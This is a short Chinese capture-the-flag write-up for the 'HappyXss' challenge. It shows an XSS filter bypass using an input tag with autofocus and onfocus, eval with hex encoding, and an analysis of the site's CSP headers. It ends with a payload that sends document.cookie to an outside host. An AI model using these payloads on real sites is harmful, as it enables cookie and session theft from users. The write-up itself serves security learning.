HappyXss

过滤了script img 等标签，发现input标签未过滤

> <input onfocus='' autofocus/>

这样可以，注意过滤了双引号 然后利用eval执行，16进制编码绕过过滤 本来创建了一个img，访问url，但是用360浏览器本地测试过了，服务器不通过，还去问了出题人，经过学长的提示，才发现网站有csp策略，不过360浏览器貌似不会管这个东西，换了火狐发现才脚本被拦截了，

```
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src 'self' 'unsafe-inline'
'unsafe-eval'; style-src *
X-XSS-Protection: 0
```

default-src ' self ' 代表默认来源必须和文档同源 'unsafe-inline' 允许使用内联资源，如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素。 'unsafe-eval' 表示允许使用eval() 等通过字符串创建代码的方法。

他指定了style的来源不受限制，应该可以通过访问这个绕过 不过我在这里直接跳转，拿到flag

> window.location='http://xxs.xyz/?cookies='+escape(document.cookie)